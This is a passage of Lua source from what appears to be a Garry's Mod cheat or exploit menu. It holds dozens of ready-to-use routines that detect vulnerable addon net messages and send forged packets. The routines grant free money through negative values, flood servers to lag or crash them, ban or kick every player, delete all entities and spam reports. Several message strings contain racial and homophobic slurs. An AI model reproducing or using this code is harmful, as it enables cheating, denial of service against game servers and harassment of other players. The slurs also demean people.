3956 Torso = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10}
3957 Legs = {0, 1, 2, 3, 4, 5, 6}
3958 Hands = {0, 1, 2}
3959 Glasses = {0, 1}
3960 Skins = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10}
3961 PM = PM + 1
3962 TS = TS + 1
3963 LG = LG + 1
3964 HN = HN + 1
3965 GL = GL + 1
3966 SK = SK + 1
3967
3968 if (PM > #PlayerModels) then
3969 PM = 1
3970 end
3971
3972 if (SK > #Skins) then
3973 SK = 1
3974 end
3975
3976 if (HN > #Hands) then
3977 HN = 1
3978 end
3979
3980 if (TS > #Torso) then
3981 TS = 1
3982 end
3983
3984 if (GL > #Glasses) then
3985 GL = 1
3986 end
3987
3988 if (LG > #Legs) then
3989 LG = 1
3990 end
3991
3992 net.Start("bodyman_model_change")
3993 net.WriteInt(PlayerModels[PM], 10)
3994 net.SendToServer()
3995 net.Start("bodygroups_change")
3996 net.WriteTable({1, Torso[TS]})
3997 net.SendToServer()
3998 net.Start("bodygroups_change")
3999 net.WriteTable({2, Legs[LG]})
4000 net.SendToServer()
4001 net.Start("bodygroups_change")
4002 net.WriteTable({3, Hands[HN]})
4003 net.SendToServer()
4004 net.Start("bodygroups_change")
4005 net.WriteTable({4, Glasses[GL]})
4006 net.SendToServer()
4007 end)
4008 else
4009 timer.Remove("bodygroups")
4010 ECNotify("Stopping")
4011 end
4012 end)
4013 end
4014
4015 status = ValidNetString("SendMoney")
4016
4017 if (status) then
4018 ECPrint("Found Exploit: Free Money #16 [SendMoney]")
4019
4020 addExploit("136", "Free Money #16", "get money", function()
4021 surface.PlaySound("garrysmod/ui_click.wav")
4022 ECNotify("Starting")
4023 hook.Remove("HUDPaint", "skhdsakjl")
4024 net.Start("SendMoney")
4025 net.WriteEntity(LocalPlayer())
4026 net.WriteEntity(LocalPlayer())
4027 net.WriteEntity(LocalPlayer())
4028 net.WriteString("-99999999")
4029 net.SendToServer()
4030 end)
4031 end
4032
4033 status = ValidNetString("BailOut")
4034
4035 if (status) then
4036 ECPrint("Found Exploit: Free Money #17 [BailOut]")
4037
4038 addExploit("137", "Free Money #17", "", function()
4039 surface.PlaySound("garrysmod/ui_click.wav")
4040 ECNotify("Starting")
4041
4042 for k, v in pairs(player.GetAll()) do
4043 net.Start("BailOut")
4044 net.WriteEntity(LocalPlayer())
4045 net.WriteEntity(v)
4046 net.WriteFloat(-999999999)
4047 net.SendToServer()
4048 end
4049 end)
4050 end
4051
4052 status = ValidNetString("hitcomplete")
4053
4054 if (status) then
4055 ECPrint("Found Exploit: Free Money #18 [hitcomplete]")
4056
4057 addExploit("138", "Free Money #18", "get money", function()
4058 surface.PlaySound("garrysmod/ui_click.wav")
4059 ECNotify("Starting")
4060 net.Start("hitcomplete")
4061 net.WriteDouble(99999999)
4062 net.SendToServer()
4063 end)
4064 end
4065
4066 ----------------------------------------
4067 for k, v in pairs(player.GetAll()) do
4068 dahater = v
4069 end
4070
4071 ----------------------------------------
4072 status = ValidNetString("hhh_request")
4073
4074 if (status) then
4075 ECPrint("Found Exploit: Free Money #19 [hhh_request]")
4076
4077 addExploit("139", "Free Money #19", "get money", function()
4078 surface.PlaySound("garrysmod/ui_click.wav")
4079 ECNotify("Starting")
4080 local plyhhh = LocalPlayer()
4081
4082 if dahater ~= plyhhh then
4083 local hitRequest = {}
4084 hitRequest.hitman = plyhhh
4085 hitRequest.requester = plyhhh
4086 hitRequest.target = dahater
4087 hitRequest.reward = -9999999
4088 net.Start('hhh_request')
4089 net.WriteTable(hitRequest)
4090 net.SendToServer()
4091 else
4092 ECPrint("In this version of HHH, you can not use an exploit!")
4093 end
4094 end)
4095 end
4096
4097 status = ValidNetString("DaHit")
4098
4099 if (status) then
4100 ECPrint("Found Exploit: Free Money #20 [DaHit]")
4101
4102 addExploit("140", "Free Money #20", "get money", function()
4103 surface.PlaySound("garrysmod/ui_click.wav")
4104 ECNotify("Starting")
4105 hook.Remove("HUDPaint", "skhdsakjl")
4106 net.Start("DaHit")
4107 net.WriteFloat(-99999999)
4108 net.WriteEntity(LocalPlayer())
4109 net.WriteEntity(LocalPlayer())
4110 net.WriteEntity(LocalPlayer())
4111 net.SendToServer()
4112 end)
4113 end
4114
4115 status = ValidNetString("textstickers_entdata")
4116
4117 if (status) then
4118 ECPrint("Found Exploit: Crash #2 [textstickers_entdata]")
4119
4120 addExploit("141", "Crash #2", "1tap", function()
4121 surface.PlaySound("garrysmod/ui_click.wav")
4122 ECNotify("Starting")
4123 net.Start("textstickers_entdata")
4124 net.WriteUInt(0xFFFFFFF, 32)
4125 net.SendToServer()
4126 end)
4127 end
4128
4129 status = ValidNetString("gBan.BanBuffer")
4130
4131 if (status) then
4132 ECPrint("Found Exploit: gBan Everyone [gBan.BanBuffer]")
4133
4134 addExploit("142", "gBan Everyone", "exploit in the old version of gban", function()
4135 surface.PlaySound("garrysmod/ui_click.wav")
4136 ECNotify("Starting")
4137
4138 for k, v in pairs(player.GetAll()) do
4139 if v ~= LocalPlayer() then
4140 net.Start("gBan.BanBuffer")
4141 net.WriteBool(true)
4142 net.WriteInt(0, 32)
4143 net.WriteString("haha owned")
4144 net.WriteString(v:SteamID())
4145 net.SendToServer()
4146 end
4147 end
4148 end)
4149 end
4150
4151 status = ValidNetString("ARMORY_RetrieveWeapon")
4152
4153 if (status) then
4154 ECPrint("Found Exploit: Free Armory #1 [ARMORY_RetrieveWeapon]")
4155
4156 addExploit("143", "Free Armory #1", "get weapon #1", function()
4157 surface.PlaySound("garrysmod/ui_click.wav")
4158 ECNotify("Starting")
4159 net.Start("ARMORY_RetrieveWeapon")
4160 net.WriteString("weapon1")
4161 net.SendToServer()
4162 end)
4163 end
4164
4165 status = ValidNetString("ARMORY_RetrieveWeapon")
4166
4167 if (status) then
4168 ECPrint("Found Exploit: Free Armory #2 [ARMORY_RetrieveWeapon]")
4169
4170 addExploit("144", "Free Armory #2", "get weapon #2", function()
4171 surface.PlaySound("garrysmod/ui_click.wav")
4172 ECNotify("Starting")
4173 net.Start("ARMORY_RetrieveWeapon")
4174 net.WriteString("weapon2")
4175 net.SendToServer()
4176 end)
4177 end
4178
4179 status = ValidNetString("ARMORY_RetrieveWeapon")
4180
4181 if (status) then
4182 ECPrint("Found Exploit: Free Armory #3 [ARMORY_RetrieveWeapon]")
4183
4184 addExploit("145", "Free Armory #3", "get weapon #3", function()
4185 surface.PlaySound("garrysmod/ui_click.wav")
4186 ECNotify("Starting")
4187 net.Start("ARMORY_RetrieveWeapon")
4188 net.WriteString("weapon3")
4189 net.SendToServer()
4190 end)
4191 end
4192
4193 status = ValidNetString("TransferReport")
4194
4195 if (status) then
4196 ECPrint("Found Exploit: Report Spammer [TransferReport]")
4197
4198 addExploit("146", "Report Spammer", "report all players", function()
4199 surface.PlaySound("garrysmod/ui_click.wav")
4200 ECNotify("Starting")
4201 net.Start("TransferReport")
4202 net.WriteString(v:SteamID())
4203 net.WriteString("CHINKGANG FAGOTS")
4204 net.WriteString("DITCH THIS SHITTY SERVER AND BUY R2D2 TODAY")
4205 net.SendToServer()
4206 end)
4207 end
4208
4209 status = ValidNetString("FIRE_CreateFireTruck")
4210
4211 if (status) then
4212 ECPrint("Found Exploit: Create Fire Truck [FIRE_CreateFireTruck]")
4213
4214 addExploit("147", "Create Fire Truck", "", function()
4215 surface.PlaySound("garrysmod/ui_click.wav")
4216 ECNotify("Starting")
4217 net.Start("FIRE_CreateFireTruck")
4218 net.SendToServer()
4219 end)
4220 end
4221
4222 status = ValidNetString("TFA_Attachment_RequestAll")
4223
4224 if (status) then
4225 ECPrint("Found Exploit: Lagger #20 [TFA_Attachment_RequestAll]")
4226
4227 addExploit("148", "Lagger #20", "an exploit in 'TFA Weapon Pack', discovered by zerg314", function()
4228 surface.PlaySound("garrysmod/ui_click.wav")
4229
4230 if not timer.Exists("lagger20") then
4231 timer.Create("lagger20", 0, 0, function()
4232 for i = 1, 800 do
4233 net.Start("TFA_Attachment_RequestAll", true)
4234 net.SendToServer()
4235 end
4236 end)
4237
4238 ECNotify("Starting Lagger")
4239 else
4240 timer.Remove("lagger20")
4241 ECNotify("Stopping Lagger")
4242 end
4243 end)
4244 end
4245
4246 status = ValidNetString("FIRE_RemoveFireTruck")
4247
4248 if (status) then
4249 ECPrint("Found Exploit: Remove Fire Truck [FIRE_RemoveFireTruck]")
4250
4251 addExploit("149", "Remove Fire Truck", "", function()
4252 surface.PlaySound("garrysmod/ui_click.wav")
4253 ECNotify("Starting")
4254 net.Start("FIRE_RemoveFireTruck")
4255 net.SendToServer()
4256 end)
4257 end
4258
4259 status = ValidNetString("gPrinters.sendID")
4260
4261 if (status) then
4262 ECPrint("Found Exploit: Lagger #21 [gPrinters.sendID]")
4263
4264 addExploit("150", "Lagger #21", "B1G LAGZ, discovered by Leith", function()
4265 surface.PlaySound("garrysmod/ui_click.wav")
4266 ECNotify("Starting")
4267
4268 if not timer.Exists("lagger21") then
4269 timer.Create("lagger21", 0, 0, function()
4270 for i = 1, 1000 do
4271 net.Start("gPrinters.sendID", true)
4272 net.WriteEntity(LocalPlayer())
4273 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 8)
4274 net.SendToServer()
4275 end
4276 end)
4277 end
4278 end)
4279 end
4280
4281 status = ValidNetString("requestmoneyforvk") -- RusElite Server
4282
4283 if (status) then
4284 ECPrint("Found Exploit: Free 50k [requestmoneyforvk]")
4285
4286 addExploit("151", "Free 50k", "gives you 50k bypassing the validation check, discovered by Leith", function()
4287 surface.PlaySound("garrysmod/ui_click.wav")
4288 ECNotify("Starting")
4289 net.Start("requestmoneyforvk")
4290 net.WriteEntity(LocalPlayer())
4291 net.SendToServer()
4292 end)
4293 end
4294
4295 status = ValidNetString("vj_testentity_runtextsd")
4296
4297 if (status) then
4298 ECPrint("Found Exploit: VJSay [NEW] [vj_testentity_runtextsd]")
4299
4300 addExploit("152", "VJSay [NEW]", "'fix' of the old exploit", function()
4301 surface.PlaySound("garrysmod/ui_click.wav")
4302 ECNotify("Starting")
4303
4304 for k, v in pairs(player.GetAll()) do
4305 net.Start("vj_testentity_runtextsd")
4306 net.WriteEntity(v)
4307 net.WriteString("OWNED OWNED OWNED OWNED OWNED OWNED OWNED OWNED ")
4308 net.WriteString("vj_illuminati/Illuminati Confirmed.mp3")
4309 net.SendToServer()
4310 end
4311 end)
4312 end
4313
4314 status = ValidNetString("NET_BailPlayer") -- need to test
4315
4316 if (status) then
4317 ECPrint("Found Exploit: Players Spam [NET_BailPlayer]")
4318
4319 addExploit("153", "Players Spam", "", function()
4320 surface.PlaySound("garrysmod/ui_click.wav")
4321 ECNotify("Starting")
4322
4323 for k, v in pairs(player.GetAll()) do
4324 net.Start("NET_BailPlayer")
4325 net.WriteEntity(v)
4326 net.WriteEntity(v)
4327 net.SendToServer()
4328 end
4329 end)
4330 end
4331
4332 status = ValidNetString("Taxi_Add") -- need to test
4333
4334 if (status) then
4335 ECPrint("Found Exploit: Free Money #21 [Taxi_Add]")
4336
4337 addExploit("154", "Free Money #21", "maybe not work", function()
4338 surface.PlaySound("garrysmod/ui_click.wav")
4339 ECNotify("Starting")
4340 net.Start("Taxi_Add")
4341 net.WriteString("MLG")
4342 net.WriteTable({-1333.647461, -1473.931763, -139.968750})
4343 net.WriteFloat(-99999999)
4344 net.WriteString(Desc)
4345 net.SendToServer()
4346 end)
4347 end
4348
4349 status = ValidNetString("BuyCar")
4350
4351 if (status) then
4352 ECPrint("Found Exploit: Free Money #22 [BuyCar]")
4353
4354 addExploit("155", "Free Money #22", "get money", function()
4355 surface.PlaySound("garrysmod/ui_click.wav")
4356 ECNotify("Starting")
4357 net.Start('BuyCar')
4358 net.WriteFloat(-1000000)
4359 net.WriteEntity(LocalPlayer())
4360 net.WriteString("Gay")
4361 net.WriteString("Cock")
4362 net.WriteString("Twat")
4363 net.SendToServer()
4364 end)
4365 end
4366
4367 status = ValidNetString("rpi_trade_end")
4368
4369 if (status) then
4370 ECPrint("Found Exploit: Test Function [rpi_trade_end]")
4371
4372 addExploit("156", "Test Function", "just test", function()
4373 surface.PlaySound("garrysmod/ui_click.wav")
4374 ECNotify("Starting")
4375 local it = 0
4376
4377 timer.Create(util.CRC(tostring(CurTime())), 0.5, 0, function()
4378 if (it > #player.GetAll()) then
4379 it = 1
4380 else
4381 it = it + 1
4382 end
4383
4384 net.Start("rpi_trade_end")
4385 net.WriteUInt(it, 16)
4386 net.SendToServer()
4387 end)
4388 end)
4389 end
4390
4391 status = ValidNetString("ClickerForceSave")
4392
4393 if (status) then
4394 ECPrint("Found Exploit: Melon Crash [ClickerForceSave]")
4395
4396 addExploit("157", "Melon Crash", "", function()
4397 surface.PlaySound("garrysmod/ui_click.wav")
4398 ECNotify("Starting")
4399
4400 hook.Add("Think", "ps_spam", function()
4401 for k, v in pairs(player.GetAll()) do
4402 net.Start("ClickerForceSave")
4403 net.WriteEntity(ply)
4404 net.WriteInt(1, 1)
4405 net.SendToServer()
4406 end
4407 end)
4408 end)
4409 end
4410
4411 status = ValidNetString("SRequest")
4412
4413 if (status) then
4414 ECPrint("Found Exploit: Deagle Grab [SRequest]")
4415
4416 addExploit("158", "Deagle Grab", "", function()
4417 surface.PlaySound("garrysmod/ui_click.wav")
4418 ECNotify("Starting")
4419
4420 for k, v in pairs(player.GetAll()) do
4421 net.Start("SRequest")
4422 net.WriteEntity(v)
4423 net.SendToServer()
4424 end
4425 end)
4426 end
4427
4428 status = ValidNetString("HealButton")
4429
4430 if (status) then
4431 ECPrint("Found Exploit: Free HP [HealButton]")
4432
4433 addExploit("159", "Free HP", "free hp", function()
4434 surface.PlaySound("garrysmod/ui_click.wav")
4435 ECNotify("Starting")
4436 net.Start("HealButton")
4437 net.WriteEntity(LocalPlayer())
4438 net.WriteFloat(999999)
4439 net.SendToServer()
4440 end)
4441 end
4442
4443 status = ValidNetString("ArmorButton")
4444
4445 if (status) then
4446 ECPrint("Found Exploit: Free Armor [ArmorButton]")
4447
4448 addExploit("160", "Free Armor", "free armor", function()
4449 surface.PlaySound("garrysmod/ui_click.wav")
4450 ECNotify("Starting")
4451 net.Start("ArmorButton")
4452 net.WriteEntity(LocalPlayer())
4453 net.WriteFloat(999999)
4454 net.SendToServer()
4455 end)
4456 end
4457
4458 status = ValidNetString("SprintSpeedset")
4459
4460 if (status) then
4461 ECPrint("Found Exploit: TTT SpeedHack [SprintSpeedset]")
4462
4463 addExploit("161", "TTT SpeedHack", "changes your speed", function()
4464 surface.PlaySound("garrysmod/ui_click.wav")
4465 ECNotify("Starting")
4466 net.Start("SprintSpeedset")
4467 net.WriteFloat(math.min(math.max(2, 0.1), 2))
4468 net.SendToServer()
4469 end)
4470 end
4471
4472 status = ValidNetString("GiveArmor100")
4473
4474 if (status) then
4475 ECPrint("Found Exploit: Armor Exploit [GiveArmor100]")
4476
4477 addExploit("162", "Armor Exploit", "", function()
4478 surface.PlaySound("garrysmod/ui_click.wav")
4479 ECNotify("Starting")
4480 net.Start("GiveArmor100")
4481 net.SendToServer()
4482 end)
4483 end
4484
4485 status = ValidNetString("GiveSCP294Cup") -- NEED TO TEST !!
4486
4487 if (status) then
4488 ECPrint("Found Exploit: 294 JAM [NEED TO TEST] [GiveSCP294Cup]")
4489 SCPLAG = 0
4490
4491 addExploit("163", "SCP 249 JAM!", "", function()
4492 surface.PlaySound("garrysmod/ui_click.wav")
4493 ECNotify("Starting")
4494
4495 if (SCPLAG == 0) then
4496 SCPLAG = 1
4497
4498 timer.Create("LagThatShit", time, 0.05, function()
4499 for k, v in pairs(ents.GetAll()) do
4500 if v:GetClass() == "scp294" then
4501 net.Start("GiveSCP294Cup")
4502 net.WriteString("shit")
4503 net.WriteEntity(v)
4504 net.SendToServer()
4505 end
4506 end
4507 end)
4508 else
4509 SCPLAG = 0
4510 timer.Remove("LagThatShit")
4511 end
4512 end)
4513 end
4514
4515
4516 status = ValidNetString("Client_To_Server_OpenEditor")
4517
4518 if (status) then
4519 ECPrint("Found Exploit: SCP 249 Drink Menu Hack [Client_To_Server_OpenEditor]")
4520
4521 addExploit("164", "SCP 249 Drink Menu Hack", "", function()
4522 surface.PlaySound("garrysmod/ui_click.wav")
4523 ECNotify("Starting")
4524 net.Start("Client_To_Server_OpenEditor")
4525 net.SendToServer()
4526 end)
4527 end
4528
4529 status = ValidNetString("DuelMessageReturn")
4530
4531 if (status) then
4532 ECPrint("Found Exploit: Duel Crazy [DuelMessageReturn]")
4533
4534 addExploit("165", "Duel Crazy", "forces all players to fight with all players, discovered by Solly", function()
4535 surface.PlaySound("garrysmod/ui_click.wav")
4536 ECNotify("Starting")
4537
4538 timer.Create("crazyduel", 0.1, 0, function()
4539 s.duel[1] = table.Random(player.GetAll())
4540 s.duel[2] = table.Random(player.GetAll())
4541 net.Start("DuelMessageReturn")
4542 net.WriteFloat(1)
4543 net.WriteTable(s.duel)
4544 net.SendToServer()
4545 end)
4546 end)
4547 end
4548
4549 status = ValidNetString("userAcceptPrestige")
4550
4551 if (status) then
4552 ECPrint("Found Exploit: Free Prestige [userAcceptPrestige]")
4553
4554 addExploit("166", "Free Prestige", "exploit for free prestige", function()
4555 surface.PlaySound("garrysmod/ui_click.wav")
4556 ECNotify("Starting")
4557 net.Start("userAcceptPrestige")
4558 net.SendToServer()
4559 end)
4560 end
4561
4562 status = ValidNetString("wordenns")
4563
4564 if (status) then
4565 ECPrint("Found Exploit: Steal All Monies #11 [wordenns]")
4566
4567 addExploit("167", "Steal All Monies #11", "withdraw money from all printers", function()
4568 surface.PlaySound("garrysmod/ui_click.wav")
4569 ECNotify("Starting")
4570 ECPrint("printers:" .. tostring(#ents.FindByClass("derma_printer")))
4571
4572 for k, v in pairs(ents.FindByClass("derma_printer")) do
4573 net.Start("wordenns")
4574 net.WriteEntity(v)
4575 net.SendToServer()
4576 end
4577 end)
4578 end
4579
4580 status = ValidNetString("guncraft_removeWorkbench")
4581
4582 if (status) then
4583 ECPrint("Found Exploit: Remove all Entity [guncraft_removeWorkbench]")
4584
4585 addExploit("168", "Remove all Entity", "an exploit in addon 'GunCraft'", function()
4586 surface.PlaySound("garrysmod/ui_click.wav")
4587 ECNotify("Starting")
4588
4589 if not timer.Exists("removentity") then
4590 timer.Create("removentity", 3, 0, function()
4591 for k, v in pairs(ents.GetAll()) do
4592 net.Start("guncraft_removeWorkbench")
4593 net.WriteEntity(v)
4594 net.SendToServer()
4595 end
4596 end)
4597 end
4598 end)
4599 end
4600
4601 status = ValidNetString("BuyKey")
4602
4603 if (status) then
4604 ECPrint("Found Exploit: Blue Unbox Exploit [NEED TO TEST]")
4605
4606 addExploit("169", "Blue Unbox Exploit", "", function()
4607 surface.PlaySound("garrysmod/ui_click.wav")
4608 ECNotify("Starting")
4609 net.Start("BuyKey")
4610 net.SendToServer()
4611 net.Start("BuyCrate")
4612 net.SendToServer()
4613 end)
4614 end
4615
4616 status = ValidNetString("casinokit_chipexchange")
4617
4618 if (status) then
4619 ECPrint("Found Exploit: Free Money #23 [casinokit_chipexchange]")
4620
4621 addExploit("170", "Free Money #23", "only works if outdated", function()
4622 surface.PlaySound("garrysmod/ui_click.wav")
4623 ECNotify("Starting")
4624 local moneylog = LocalPlayer():getDarkRPVar("money")
4625 net.Start("casinokit_chipexchange")
4626 net.WriteEntity(self)
4627 net.WriteString("darkrp")
4628 net.WriteBool(true)
4629 net.WriteUInt(LocalPlayer():getDarkRPVar("money"), 32)
4630 net.SendToServer()
4631
4632 timer.Simple(3, function()
4633 for i = 1, 5000 do
4634 net.Start("casinokit_chipexchange")
4635 net.WriteEntity(self)
4636 net.WriteString("darkrp")
4637 net.WriteBool(false)
4638 net.WriteUInt(moneylog * 0.10, 32)
4639 net.SendToServer()
4640 end
4641 end)
4642 end)
4643 end
4644
4645 status = ValidNetString("PurchaseWeed")
4646
4647 if (status) then
4648 ECPrint("Found Exploit: Buy Weed [PurchaseWeed]")
4649
4650 addExploit("171", "Buy Weed", "", function()
4651 surface.PlaySound("garrysmod/ui_click.wav")
4652 ECNotify("Starting")
4653 net.Start("PurchaseWeed")
4654 net.WriteInt(tonumber(10000), 16)
4655 net.WriteInt(tonumber(1), 16)
4656 net.WriteBool(LocalPlayer().Buying)
4657 net.SendToServer()
4658 end)
4659 end
4660
4661 status = ValidNetString("PurchaseWeed")
4662
4663 if (status) then
4664 ECPrint("Found Exploit: Sell Weed [PurchaseWeed]")
4665
4666 addExploit("172", "Sell Weed", "", function()
4667 surface.PlaySound("garrysmod/ui_click.wav")
4668 ECNotify("Starting")
4669 net.Start("PurchaseWeed")
4670 net.WriteInt(tonumber(100), 16)
4671 net.WriteInt(tonumber(100), 16)
4672 net.WriteBool(LocalPlayer().Selling)
4673 net.SendToServer()
4674 end)
4675 end
4676
4677 status = ValidNetString("DoDealerDeliver")
4678
4679 if (status) then
4680 ECPrint("Found Exploit: Buy Tab [DoDealerDeliver]")
4681
4682 addExploit("173", "Buy Tab", "", function()
4683 surface.PlaySound("garrysmod/ui_click.wav")
4684 ECNotify("Starting")
4685
4686 if (LocalPlayer():getDarkRPVar("money") >= WEED_CONFIG.TabletPrice) then
4687 net.Start("DoDealerDeliver")
4688 net.WriteBool(false)
4689 net.SendToServer()
4690 end
4691 end)
4692 end
4693
4694 status = ValidNetString("DoDealerDeliver")
4695
4696 if (status) then
4697 ECPrint("Found Exploit: Buy Bong [DoDealerDeliver]")
4698
4699 addExploit("174", "Buy Bong", "", function()
4700 surface.PlaySound("garrysmod/ui_click.wav")
4701 ECNotify("Starting")
4702
4703 if (LocalPlayer():getDarkRPVar("money") >= WEED_ITEMS.Items["Tools"]["bong"].price) then
4704 net.Start("DoDealerDeliver")
4705 net.WriteBool(true)
4706 net.SendToServer()
4707 end
4708 end)
4709 end
4710
4711 status = ValidNetString("sendDuelInfo")
4712
4713 if (status) then
4714 ECPrint("Found Exploit: Duel NPC Exploit [sendDuelInfo]")
4715
4716 addExploit("175", "Duel NPC Exploit", "", function()
4717 surface.PlaySound("garrysmod/ui_click.wav")
4718 ECNotify("Starting")
4719 net.Start("sendDuelInfo")
4720 net.WriteString(table.Random(player.GetAll()):Nick())
4721 net.WriteString("xxdddd")
4722 net.WriteString("1e+100")
4723 net.WriteEntity(table.random(player.GetAll()):UserID())
4724 net.WriteInt(3, 3)
4725 net.SendToServer()
4726 end)
4727 end
4728
4729 status = ValidNetString("InviteMember")
4730
4731 if (status) then
4732 ECPrint("Found Exploit: Invite all players [InviteMember]")
4733
4734 addExploit("176", "Invite all players", "Invite all players to your org", function()
4735 surface.PlaySound("garrysmod/ui_click.wav")
4736 ECNotify("Starting")
4737
4738 for k, v in pairs(player.GetAll()) do
4739 net.Start("InviteMember")
4740 net.WriteEntity(v)
4741 net.WriteEntity(v)
4742 net.WriteString("lol what")
4743 net.SendToServer()
4744 end
4745 end)
4746 end
4747
4748 status = ValidNetString("newTerritory")
4749
4750 if (status) then
4751 ECPrint("Found Exploit: New Territory [newTerritory]")
4752
4753 addExploit("177", "New Territory", "", function()
4754 surface.PlaySound("garrysmod/ui_click.wav")
4755 ECNotify("Starting")
4756
4757 for k, v in pairs(player.GetAll()) do
4758 net.Start("newTerritory")
4759 net.WriteString("Hackers")
4760 net.WriteTable(t)
4761 net.SendToServer()
4762 end
4763 end)
4764 end
4765
4766 status = ValidNetString("CreateOrganization")
4767
4768 if (status) then
4769 ECPrint("Found Exploit: Org Exploit [CreateOrganization]")
4770
4771 addExploit("178", "Org Exploit", "", function()
4772 surface.PlaySound("garrysmod/ui_click.wav")
4773 ECNotify("Starting")
4774
4775 for k, v in pairs(player.GetAll()) do
4776 net.Start("CreateOrganization")
4777 net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
4778 net.WriteString("Join my gang or will rekt u")
4779 net.SendToServer()
4780 end
4781 end)
4782 end
4783
4784 status = ValidNetString("DisbandOrganization")
4785
4786 if (status) then
4787 ECPrint("Found Exploit: Org Disband [DisbandOrganization]")
4788
4789 addExploit("179", "Org Disband", "", function()
4790 surface.PlaySound("garrysmod/ui_click.wav")
4791 ECNotify("Starting")
4792 net.Start("DisbandOrganization")
4793 net.WriteEntity(LocalPlayer())
4794 net.SendToServer()
4795 end)
4796 end
4797
4798 status = ValidNetString("ChangeOrgName")
4799
4800 if (status) then
4801 ECPrint("Found Exploit: Org Change Name [ChangeOrgName]")
4802
4803 addExploit("180", "Org Change Name", "", function()
4804 surface.PlaySound("garrysmod/ui_click.wav")
4805 ECNotify("Starting")
4806 net.Start("ChangeOrgName")
4807 net.WriteString("I LOVE BANNAS WOOOOOOOOO I FUCKED GIANT BABIES WOOOOOO")
4808 net.WriteString("SHITTY CUNT ASS SERVER FUCK OFF. STOP WITH YOUR SHITTY COPY AND PASTE SHIT! YOU STOLE MY SHIT NIGGER!")
4809 net.WriteEntity(LocalPlayer())
4810 net.SendToServer()
4811 end)
4812 end
4813
4814 status = ValidNetString("IS_SubmitSID_C2S")
4815
4816 if (status) then
4817 ECPrint("Found Exploit: Free Reward [IS_SubmitSID_C2S | IS_GetReward_C2S]")
4818
4819 addExploit("181", "Free Reward", "", function()
4820 surface.PlaySound("garrysmod/ui_click.wav")
4821 ECNotify("Starting")
4822 net.Start("IS_SubmitSID_C2S")
4823 net.WriteString("Killa")
4824 net.SendToServer()
4825 net.Start("IS_GetReward_C2S")
4826 net.SendToServer()
4827 end)
4828 end
4829
4830 status = ValidNetString("AcceptBailOffer")
4831
4832 if (status) then
4833 ECPrint("Found Exploit: Bail Offer Exploit [AcceptBailOffer]")
4834
4835 addExploit("182", "Bail Offer Exploit", "", function()
4836 surface.PlaySound("garrysmod/ui_click.wav")
4837 ECNotify("Starting")
4838
4839 for k, v in pairs(player.GetAll()) do
4840 net.Start("AcceptBailOffer")
4841 net.WriteEntity(v)
4842 net.WriteUInt(-100000000000000000, 16)
4843 net.SendToServer()
4844 end
4845 end)
4846 end
4847
4848 status = ValidNetString("CP_Test_Results")
4849
4850 if (status) then
4851 ECPrint("Found Exploit: CP Bypass [CP_Test_Results]")
4852
4853 addExploit("183", "CP Bypass", "", function()
4854 surface.PlaySound("garrysmod/ui_click.wav")
4855 ECNotify("Starting")
4856 net.Start("CP_Test_Results")
4857 net.WriteInt(1, 8)
4858 net.SendToServer()
4859 end)
4860 end
4861
4862 status = ValidNetString("ReSpawn")
4863
4864 if (status) then
4865 ECPrint("Found Exploit: Respawn #4 [ReSpawn]")
4866
4867 addExploit("184", "Respawn #4", "just respawn", function()
4868 surface.PlaySound("garrysmod/ui_click.wav")
4869 ECNotify("Starting")
4870 net.Start("ReSpawn")
4871 net.SendToServer()
4872 end)
4873 end
4874
4875 status = ValidNetString("FIGHTCLUB_KickPlayer")
4876
4877 if (status) then
4878 ECPrint("Found Exploit: Fight Club Kick [FIGHTCLUB_KickPlayer]")
4879
4880 addExploit("185", "Fight Club Kick", "", function()
4881 surface.PlaySound("garrysmod/ui_click.wav")
4882 ECNotify("Starting")
4883
4884 for k, v in pairs(player.GetAll()) do
4885 net.Start("FIGHTCLUB_KickPlayer")
4886 net.WriteBit(v)
4887 net.WriteEntity(v)
4888 net.SendToServer()
4889 end
4890 end)
4891 end
4892
4893 status = ValidNetString("FIGHTCLUB_StartFight")
4894
4895 if (status) then
4896 ECPrint("Found Exploit: Fight Club Start Fight [FIGHTCLUB_StartFight]")
4897
4898 addExploit("186", "Fight Club Start Fight", "", function()
4899 surface.PlaySound("garrysmod/ui_click.wav")
4900 ECNotify("Starting")
4901
4902 for k, v in pairs(player.GetAll()) do
4903 net.Start("FIGHTCLUB_StartFight")
4904 net.WriteEntity(v)
4905 net.SendToServer()
4906 end
4907 end)
4908 end
4909
4910 status = ValidNetString("IveBeenRDMed")
4911
4912 if (status) then
4913 ECPrint("Found Exploit: Fake RDM [IveBeenRDMed]")
4914
4915 addExploit("187", "Fake RDM", "", function()
4916 surface.PlaySound("garrysmod/ui_click.wav")
4917 ECNotify("Starting")
4918
4919 for k, v in pairs(player.GetAll()) do
4920 net.Start("IveBeenRDMed")
4921 net.WriteEntity(v)
4922 net.SendToServer()
4923 end
4924 end)
4925 end
4926
4927 status = ValidNetString("nCTieUpStart")
4928
4929 if (status) then
4930 ECPrint("Found Exploit: Combine Control Exploit [nCTieUpStart]")
4931
4932 addExploit("188", "Combine Control Exploit", "", function()
4933 surface.PlaySound("garrysmod/ui_click.wav")
4934 ECNotify("Starting")
4935
4936 for k, v in pairs(ents.GetAll()) do
4937 net.Start("nCTieUpStart")
4938 net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
4939 net.SendToServer()
4940 end
4941 end)
4942 end
4943
4944 status = ValidNetString("DestroyTable")
4945
4946 if (status) then
4947 ECPrint("Found Exploit: Fuck All [DestroyTable]")
4948
4949 addExploit("189", "Fuck All", "discovered by Leith", function()
4950 surface.PlaySound("garrysmod/ui_click.wav")
4951 ECNotify("Starting")
4952
4953 for k, v in pairs(ents.GetAll()) do
4954 net.Start("DestroyTable")
4955 net.WriteEntity(v)
4956 net.SendToServer()
4957 end
4958 end)
4959 end
4960
4961 status = ValidNetString("start_wd_hack")
4962
4963 if (status) then
4964 ECPrint("Found Exploit: Hack Phone Exploit [start_wd_hack]")
4965
4966 addExploit("190", "Hack Phone Exploit", "", function()
4967 surface.PlaySound("garrysmod/ui_click.wav")
4968 ECNotify("Starting")
4969 net.Start("start_wd_hack")
4970 net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
4971 net.SendToServer()
4972 end)
4973 end
4974
4975 status = ValidNetString("bringNfreeze")
4976
4977 if (status) then
4978 ECPrint("Found Exploit: Ban Exploit [bringNfreeze]")
4979
4980 addExploit("191", "Ban Exploit", "", function()
